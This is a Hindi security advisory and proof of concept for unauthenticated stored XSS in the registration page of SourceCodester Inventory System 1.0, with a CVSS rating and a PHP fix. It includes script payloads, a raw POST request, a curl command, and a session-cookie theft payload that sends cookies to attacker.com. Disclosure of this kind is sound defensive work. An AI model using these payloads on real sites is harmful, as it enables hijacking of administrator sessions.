
SourceCodester इन्वेंट्री सिस्टम में अप्रमाणित संग्रहीत XSS के लिए प्रूफ-ऑफ-कॉन्सेप्ट, तैयार पंजीकरण पेलोड के माध्यम से व्यवस्थापक सत्र अपहरण प्रदर्शित करता है।
| फ़ील्ड | विवरण |
|---|
| भेद्यता प्रकार | संग्रहीत क्रॉस-साइट स्क्रिप्टिंग (XSS) |
| प्रभावित एप्लिकेशन | इन्वेंटरी सिस्टम (PHP और MySQL का उपयोग करके) |
| विक्रेता | SourceCodester |
| प्रभावित संस्करण | 1.0 |
| प्रभावित फ़ाइल | register.php |
| पैरामीटर | fullname, username |
| प्रमाणीकरण आवश्यक | नहीं (अप्रमाणित) |
| प्रभाव | एडमिन सत्र अपहरण, एडमिन पैनल में दुर्भावनापूर्ण स्क्रिप्ट निष्पादन |
| CVSS स्कोर | 8.8 (उच्च) |
| CVSS वेक्टर | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N |
SourceCodester द्वारा इन्वेंटरी सिस्टम (PHP और MySQL का उपयोग करके) (26 मई, 2026 को सबमिट किया गया) स्टाफ पंजीकरण मॉड्यूल (register.php) में अप्रमाणित संग्रहीत क्रॉस-साइट स्क्रिप्टिंग (XSS) के लिए कमजोर है।
fullname और username इनपुट फ़ील्ड डेटाबेस में संग्रहीत करने से पहले उपयोगकर्ता द्वारा प्रदान किए गए इनपुट को सैनिटाइज़ या एनकोड करने में विफल रहते हैं। जब कोई व्यवस्थापक उपयोगकर्ता प्रबंधन पृष्ठ (users.php) पर जाता है, तो असैनिटाइज़्ड पेलोड सीधे HTML संदर्भ में प्रस्तुत किए जाते हैं, जिससे व्यवस्थापक के ब्राउज़र सत्र में तुरंत JavaScript निष्पादन होता है।
चूंकि पंजीकरण के लिए किसी प्रमाणीकरण की आवश्यकता नहीं है, एक दूरस्थ, अप्रमाणित हमलावर मनमाना JavaScript इंजेक्ट कर सकता है जो किसी भी व्यवस्थापक के ब्राउज़र में निष्पादित होगा जो उपयोगकर्ता प्रबंधन पैनल देखता है।
/product_inventory/register.php पर जाता है — लॉगिन आवश्यक नहीं है।fullname और/या username फ़ील्ड में एक दुर्भावनापूर्ण पेलोड सबमिट करता है।/product_inventory/users.php पर जाता है, तो पेलोड स्वचालित रूप से व्यवस्थापक के ब्राउज़र में निष्पादित होता है।http://<TARGET>/product_inventory/register.php
पूर्ण नाम फ़ील्ड पेलोड:
<script>alert(1)</script>
उपयोगकर्ता नाम फ़ील्ड पेलोड:
<script>alert(2)</script>
पासवर्ड: कोई भी मान (उदा., test1234)
POST /product_inventory/register.php HTTP/1.1
Host: <TARGET>
Content-Type: application/x-www-form-urlencoded
fullname=<script>alert(1)</script>&username=<script>alert(2)</script>&password=test1234&submit=
curl समतुल्य:
curl -X POST "http://<TARGET>/product_inventory/register.php" \
-d "fullname=<script>alert(1)</script>&username=<script>alert(2)</script>&password=test1234&submit="
व्यवस्थापक के रूप में लॉग इन करें और यहां जाएं:
http://<TARGET>/product_inventory/users.php
दोनों पेलोड पृष्ठ लोड होने पर तुरंत निष्पादित हो जाते हैं।
एक अप्रमाणित हमलावर निम्नलिखित कर सकता है:
सत्र कुकी चोरी पेलोड उदाहरण (हमलावर सर्वर से बदलें):
<script>document.location='http://attacker.com/steal?c='+document.cookie</script>


भेद्यता इसलिए मौजूद है क्योंकि register.php उपयोगकर्ता इनपुट को सीधे बिना सैनिटाइज़ेशन के डेटाबेस में डालता है, और users.php संग्रहीत मानों को htmlspecialchars() एन्कोडिंग के बिना आउटपुट करता है।
users.php में कमजोर पैटर्न (अनुमानित):
// असुरक्षित — डेटाबेस मान को सीधे HTML में आउटपुट करता है
echo $row['fullname'];
echo $row['username'];
सुधार — आउटपुट एन्कोडिंग लागू करें:
echo htmlspecialchars($row['fullname'], ENT_QUOTES, 'UTF-8');
echo htmlspecialchars($row['username'], ENT_QUOTES, 'UTF-8');
इसके अतिरिक्त, register.php में प्रविष्टि के समय strip_tags() या उचित सत्यापन के साथ तैयार कथनों का उपयोग करके इनपुट को सैनिटाइज़ किया जाना चाहिए।
ENT_QUOTES के साथ htmlspecialchars() का उपयोग करके सभी आउटपुट को एनकोड करें।रिपोर्ट किया गया: सैयद इमाद उद्दीन अल्वी — स्वतंत्र सुरक्षा शोधकर्ता